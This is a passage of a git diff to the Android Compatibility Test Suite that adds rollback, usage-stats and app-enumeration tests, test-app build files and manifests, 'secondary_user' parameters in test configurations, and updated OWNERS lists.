-        assertThat(committed).isNotStaged();
-        assertThat(committed).packagesContainsExactly(
-                Rollback.from(TestApp.A2).to(TestApp.A1));
-        assertThat(committed).causePackagesContainsExactly(TestApp.A2);
-    }
-}
diff --git a/tests/rollback/src/com/android/cts/rollback/RollbackManagerTest.java b/tests/rollback/src/com/android/cts/rollback/RollbackManagerTest.java
new file mode 100644
index 0000000..2df3912
--- /dev/null
+++ b/tests/rollback/src/com/android/cts/rollback/RollbackManagerTest.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.rollback;
+
+import static com.android.cts.rollback.lib.RollbackInfoSubject.assertThat;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.Manifest;
+import android.content.rollback.RollbackInfo;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.install.lib.Uninstall;
+import com.android.cts.rollback.lib.Rollback;
+import com.android.cts.rollback.lib.RollbackUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.IOException;
+
+/**
+ * CTS Tests for RollbackManager APIs.
+ */
+@RunWith(JUnit4.class)
+public class RollbackManagerTest {
+
+    /**
+     * Adopts common permissions needed to test rollbacks and uninstalls the
+     * test apps.
+     */
+    @Before
+    public void setup() throws InterruptedException, IOException {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(
+                    Manifest.permission.INSTALL_PACKAGES,
+                    Manifest.permission.DELETE_PACKAGES,
+                    Manifest.permission.TEST_MANAGE_ROLLBACKS);
+
+        Uninstall.packages(TestApp.A);
+    }
+
+    /**
+     * Drops adopted shell permissions and uninstalls the test apps.
+     */
+    @After
+    public void teardown() throws InterruptedException, IOException {
+        Uninstall.packages(TestApp.A);
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    /**
+     * Test basic rollbacks.
+     */
+    @Test
+    public void testBasic() throws Exception {
+        Install.single(TestApp.A1).commit();
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+        assertThat(RollbackUtils.getAvailableRollback(TestApp.A)).isNull();
+        assertThat(RollbackUtils.getCommittedRollback(TestApp.A)).isNull();
+
+        Install.single(TestApp.A2).setEnableRollback().commit();
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+        InstallUtils.processUserData(TestApp.A);
+        RollbackInfo available = RollbackUtils.waitForAvailableRollback(TestApp.A);
+        assertThat(available).isNotStaged();
+        assertThat(available).packagesContainsExactly(
+                Rollback.from(TestApp.A2).to(TestApp.A1));
+        assertThat(RollbackUtils.getCommittedRollback(TestApp.A)).isNull();
+
+        RollbackUtils.rollback(available.getRollbackId(), TestApp.A2);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+        InstallUtils.processUserData(TestApp.A);
+        RollbackUtils.waitForUnavailableRollback(TestApp.A);
+        RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
+        assertThat(committed).isNotNull();
+        assertThat(committed).hasRollbackId(available.getRollbackId());
+        assertThat(committed).isNotStaged();
+        assertThat(committed).packagesContainsExactly(
+                Rollback.from(TestApp.A2).to(TestApp.A1));
+        assertThat(committed).causePackagesContainsExactly(TestApp.A2);
+    }
+}
diff --git a/tests/sample/AndroidTest.xml b/tests/sample/AndroidTest.xml
index e2a3139..c3731f3 100644
--- a/tests/sample/AndroidTest.xml
+++ b/tests/sample/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="misc" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSampleDeviceTestCases.apk" />
diff --git a/tests/sample/OWNERS b/tests/sample/OWNERS
new file mode 100644
index 0000000..7782fbe
--- /dev/null
+++ b/tests/sample/OWNERS
@@ -0,0 +1,10 @@
+# Bug component: 346961
+diqian@google.com
+fdeng@google.com
+moonk@google.com
+normancheung@google.com
+williamgoh@google.com
+peykov@google.com
+yichunli@google.com
+yimingpan@google.com
+
diff --git a/tests/security/src/android/keystore/cts/KeyGenerationUtils.java b/tests/security/src/android/keystore/cts/KeyGenerationUtils.java
index 27c9a8c..feadc04 100644
--- a/tests/security/src/android/keystore/cts/KeyGenerationUtils.java
+++ b/tests/security/src/android/keystore/cts/KeyGenerationUtils.java
@@ -43,18 +43,28 @@
                 .build();
     }
 
+    private static AttestedKeyPair generateRsaKeyPair(DevicePolicyManager dpm, ComponentName admin,
+            int deviceIdAttestationFlags, String alias) {
+        return  dpm.generateKeyPair(
+                admin, "RSA", buildRsaKeySpecWithKeyAttestation(alias),
+                deviceIdAttestationFlags);
+    }
+
     private static void generateKeyWithIdFlagsExpectingSuccess(DevicePolicyManager dpm,
             ComponentName admin, int deviceIdAttestationFlags) {
         try {
-            AttestedKeyPair generated = dpm.generateKeyPair(
-                    admin, "RSA", buildRsaKeySpecWithKeyAttestation(ALIAS),
-                    deviceIdAttestationFlags);
+            AttestedKeyPair generated =
+                    generateRsaKeyPair(dpm, admin, deviceIdAttestationFlags, ALIAS);
             assertThat(generated).isNotNull();
         } finally {
             assertThat(dpm.removeKeyPair(admin, ALIAS)).isTrue();
         }
     }
 
+    public static void generateRsaKey(DevicePolicyManager dpm, ComponentName admin, String alias) {
+        assertThat(generateRsaKeyPair(dpm, admin, 0, alias)).isNotNull();
+    }
+
     public static void generateKeyWithDeviceIdAttestationExpectingSuccess(DevicePolicyManager dpm,
             ComponentName admin) {
         generateKeyWithIdFlagsExpectingSuccess(dpm, admin, ID_TYPE_SERIAL);
diff --git a/tests/signature/api-check/hidden-api-blacklist-27-api/OWNERS b/tests/signature/api-check/hidden-api-blacklist-27-api/OWNERS
index d658bff..e840a10 100644
--- a/tests/signature/api-check/hidden-api-blacklist-27-api/OWNERS
+++ b/tests/signature/api-check/hidden-api-blacklist-27-api/OWNERS
@@ -1,4 +1,2 @@
-# Bug component: 86431
-dbrazdil@google.com
-mathewi@google.com
-ngeoffray@google.com
+# Bug component: 610774
+include ../hidden-api-blacklist-current-api/OWNERS
\ No newline at end of file
diff --git a/tests/signature/api-check/hidden-api-blacklist-28-api/OWNERS b/tests/signature/api-check/hidden-api-blacklist-28-api/OWNERS
index d658bff..e840a10 100644
--- a/tests/signature/api-check/hidden-api-blacklist-28-api/OWNERS
+++ b/tests/signature/api-check/hidden-api-blacklist-28-api/OWNERS
@@ -1,4 +1,2 @@
-# Bug component: 86431
-dbrazdil@google.com
-mathewi@google.com
-ngeoffray@google.com
+# Bug component: 610774
+include ../hidden-api-blacklist-current-api/OWNERS
\ No newline at end of file
diff --git a/tests/signature/api-check/hidden-api-blacklist-current-api/OWNERS b/tests/signature/api-check/hidden-api-blacklist-current-api/OWNERS
index d658bff..39dbe17 100644
--- a/tests/signature/api-check/hidden-api-blacklist-current-api/OWNERS
+++ b/tests/signature/api-check/hidden-api-blacklist-current-api/OWNERS
@@ -1,4 +1,7 @@
-# Bug component: 86431
-dbrazdil@google.com
+# Bug component: 610774
+platform-compat-eng+reviews@google.com
+andreionea@google.com
+atrost@google.com
 mathewi@google.com
 ngeoffray@google.com
+satayev@google.com
diff --git a/tests/signature/api-check/hidden-api-blacklist-debug-class/OWNERS b/tests/signature/api-check/hidden-api-blacklist-debug-class/OWNERS
index d658bff..e840a10 100644
--- a/tests/signature/api-check/hidden-api-blacklist-debug-class/OWNERS
+++ b/tests/signature/api-check/hidden-api-blacklist-debug-class/OWNERS
@@ -1,4 +1,2 @@
-# Bug component: 86431
-dbrazdil@google.com
-mathewi@google.com
-ngeoffray@google.com
+# Bug component: 610774
+include ../hidden-api-blacklist-current-api/OWNERS
\ No newline at end of file
diff --git a/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml b/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml
index 68c3e5c..c0fadbd 100644
--- a/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="systems" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsHiddenApiKillswitchDebugClassTestCases.apk" />
diff --git a/tests/signature/api-check/hidden-api-killswitch-debug-class/OWNERS b/tests/signature/api-check/hidden-api-killswitch-debug-class/OWNERS
index d658bff..e840a10 100644
--- a/tests/signature/api-check/hidden-api-killswitch-debug-class/OWNERS
+++ b/tests/signature/api-check/hidden-api-killswitch-debug-class/OWNERS
@@ -1,4 +1,2 @@
-# Bug component: 86431
-dbrazdil@google.com
-mathewi@google.com
-ngeoffray@google.com
+# Bug component: 610774
+include ../hidden-api-blacklist-current-api/OWNERS
\ No newline at end of file
diff --git a/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidTest.xml b/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidTest.xml
index e25bb65..9579126 100644
--- a/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="systems" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <!-- Whitelist all APIs before running the test, then reset this afterwards. The test
              is intended to verify the behaviour when all APIs are whitelisted. -->
diff --git a/tests/signature/api-check/hidden-api-killswitch-whitelist/OWNERS b/tests/signature/api-check/hidden-api-killswitch-whitelist/OWNERS
index d658bff..e840a10 100644
--- a/tests/signature/api-check/hidden-api-killswitch-whitelist/OWNERS
+++ b/tests/signature/api-check/hidden-api-killswitch-whitelist/OWNERS
@@ -1,4 +1,2 @@
-# Bug component: 86431
-dbrazdil@google.com
-mathewi@google.com
-ngeoffray@google.com
+# Bug component: 610774
+include ../hidden-api-blacklist-current-api/OWNERS
\ No newline at end of file
diff --git a/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml b/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml
index 0363684..27b874c 100644
--- a/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-wildcard/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="systems" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <!-- Enable the killswitch before running the test, then disable it afterwards. The test
              is intended to verify the behaviour when the killswitch is enabled. -->
diff --git a/tests/signature/api-check/hidden-api-killswitch-wildcard/OWNERS b/tests/signature/api-check/hidden-api-killswitch-wildcard/OWNERS
index d658bff..e840a10 100644
--- a/tests/signature/api-check/hidden-api-killswitch-wildcard/OWNERS
+++ b/tests/signature/api-check/hidden-api-killswitch-wildcard/OWNERS
@@ -1,4 +1,2 @@
-# Bug component: 86431
-dbrazdil@google.com
-mathewi@google.com
-ngeoffray@google.com
+# Bug component: 610774
+include ../hidden-api-blacklist-current-api/OWNERS
\ No newline at end of file
diff --git a/tests/signature/api-check/system-annotation/AndroidTest.xml b/tests/signature/api-check/system-annotation/AndroidTest.xml
index 63f324d..43183bf 100644
--- a/tests/signature/api-check/system-annotation/AndroidTest.xml
+++ b/tests/signature/api-check/system-annotation/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="systems" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSystemApiAnnotationTestCases.apk" />
diff --git a/tests/signature/api-check/system-api/AndroidTest.xml b/tests/signature/api-check/system-api/AndroidTest.xml
index 3368b77..646338e 100644
--- a/tests/signature/api-check/system-api/AndroidTest.xml
+++ b/tests/signature/api-check/system-api/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="systems" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSystemApiSignatureTestCases.apk" />
diff --git a/tests/tests/accounts/AndroidTest.xml b/tests/tests/accounts/AndroidTest.xml
index e473a1a..0f118d8 100644
--- a/tests/tests/accounts/AndroidTest.xml
+++ b/tests/tests/accounts/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="cmd account set-bind-instant-service-allowed true" />
         <option name="teardown-command" value="cmd account set-bind-instant-service-allowed false" />
diff --git a/tests/tests/animation/OWNERS b/tests/tests/animation/OWNERS
new file mode 100644
index 0000000..475f1b8
--- /dev/null
+++ b/tests/tests/animation/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 47085
+tianliu@google.com
+mount@google.com
+andreykulikov@google.com
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index 5d666d2..7fe1b0a 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -587,6 +587,20 @@
         mUiDevice.pressBack();
     }
 
+    @AppModeFull(reason = "No usage events access in instant apps")
+    @Test
+    public void testUserUnlockedEventExists() throws Exception {
+        final UsageEvents events = mUsageStatsManager.queryEvents(0, System.currentTimeMillis());
+        while (events.hasNextEvent()) {
+            final Event event = new Event();
+            events.getNextEvent(event);
+            if (event.mEventType == Event.USER_UNLOCKED) {
+                return;
+            }
+        }
+        fail("Couldn't find a user unlocked event.");
+    }
+
     static final int[] INTERACTIVE_EVENTS = new int[] {
             Event.SCREEN_INTERACTIVE,
             Event.SCREEN_NON_INTERACTIVE
diff --git a/tests/tests/appcomponentfactory/AndroidTest.xml b/tests/tests/appcomponentfactory/AndroidTest.xml
index c921218..69f5347 100644
--- a/tests/tests/appcomponentfactory/AndroidTest.xml
+++ b/tests/tests/appcomponentfactory/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="misc" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAppComponentFactoryTestCases.apk" />
diff --git a/tests/tests/appenumeration/Android.bp b/tests/tests/appenumeration/Android.bp
new file mode 100644
index 0000000..5bb2e24
--- /dev/null
+++ b/tests/tests/appenumeration/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsAppEnumerationTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+	    "androidx.test.ext.junit",
+    ],
+
+    srcs: ["src/**/*.java"],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/appenumeration/AndroidManifest.xml b/tests/tests/appenumeration/AndroidManifest.xml
new file mode 100644
index 0000000..7777a9f7
--- /dev/null
+++ b/tests/tests/appenumeration/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appenumeration.cts">
+
+    <application>
+      <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.appenumeration.cts"
+                     android:label="CTS tests for app enumeration">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
+
diff --git a/tests/tests/appenumeration/AndroidTest.xml b/tests/tests/appenumeration/AndroidTest.xml
new file mode 100644
index 0000000..662ace1
--- /dev/null
+++ b/tests/tests/appenumeration/AndroidTest.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for app enumeration CTS test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+
+    <!-- Force service to be installed as non-instant mode, always -->
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsAppEnumerationTestCases.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationForceQueryable.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationFilters.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationNoApi.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationSharedUidSource.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationSharedUidTarget.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationQueriesNothing.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationQueriesActivityViaAction.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationQueriesServiceViaAction.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationQueriesProviderViaAuthority.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationQueriesUnexportedActivityViaAction.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationQueriesUnexportedServiceViaAction.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationQueriesUnexportedProviderViaAuthority.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationQueriesPackage.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationQueriesNothingTargetsQ.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationQueriesNothingHasPermission.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.appenumeration.cts" />
+        <option name="runtime-hint" value="12m30s" />
+    </test>
+</configuration>
diff --git a/tests/tests/appenumeration/OWNERS b/tests/tests/appenumeration/OWNERS
new file mode 100644
index 0000000..8a44fb2
--- /dev/null
+++ b/tests/tests/appenumeration/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 36137
+patb@google.com
+toddke@google.com
+chiuwinson@google.com
+rtmitchell@google.com
diff --git a/tests/tests/appenumeration/app/source/Android.bp b/tests/tests/appenumeration/app/source/Android.bp
new file mode 100644
index 0000000..1250634
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/Android.bp
@@ -0,0 +1,167 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsAppEnumerationQueriesNothing",
+    manifest: "AndroidManifest-queriesNothing.xml",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
+
+android_test_helper_app {
+    name: "CtsAppEnumerationQueriesActivityViaAction",
+    manifest: "AndroidManifest-queriesActivityAction.xml",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
+
+android_test_helper_app {
+    name: "CtsAppEnumerationQueriesServiceViaAction",
+    manifest: "AndroidManifest-queriesServiceAction.xml",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
+
+android_test_helper_app {
+    name: "CtsAppEnumerationQueriesProviderViaAuthority",
+    manifest: "AndroidManifest-queriesProviderAuthority.xml",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
+
+android_test_helper_app {
+    name: "CtsAppEnumerationQueriesUnexportedActivityViaAction",
+    manifest: "AndroidManifest-queriesUnexportedActivityAction.xml",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
+
+android_test_helper_app {
+    name: "CtsAppEnumerationQueriesUnexportedServiceViaAction",
+    manifest: "AndroidManifest-queriesUnexportedServiceAction.xml",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
+
+android_test_helper_app {
+    name: "CtsAppEnumerationQueriesUnexportedProviderViaAuthority",
+    manifest: "AndroidManifest-queriesUnexportedProviderAuthority.xml",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
+
+android_test_helper_app {
+    name: "CtsAppEnumerationQueriesPackage",
+    manifest: "AndroidManifest-queriesPackage.xml",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
+
+android_test_helper_app {
+    name: "CtsAppEnumerationQueriesNothingTargetsQ",
+    manifest: "AndroidManifest-queriesNothing-targetsQ.xml",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
+
+android_test_helper_app {
+    name: "CtsAppEnumerationQueriesNothingHasPermission",
+    manifest: "AndroidManifest-queriesNothing-hasPermission.xml",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
+
+android_test_helper_app {
+    name: "CtsAppEnumerationSharedUidSource",
+    manifest: "AndroidManifest-queriesNothing-sharedUser.xml",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
\ No newline at end of file
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesActivityAction.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesActivityAction.xml
new file mode 100644
index 0000000..2eba524
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesActivityAction.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appenumeration.queries.activity.action">
+
+    <queries>
+        <intent>
+            <action android:name="android.appenumeration.action.ACTIVITY" />
+        </intent>
+    </queries>
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.appenumeration.cts.query.TestActivity"
+                  android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasPermission.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasPermission.xml
new file mode 100644
index 0000000..09c75ae
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasPermission.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appenumeration.queries.nothing.haspermission">
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.appenumeration.cts.query.TestActivity"
+                  android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-sharedUser.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-sharedUser.xml
new file mode 100644
index 0000000..e98a98c
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-sharedUser.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
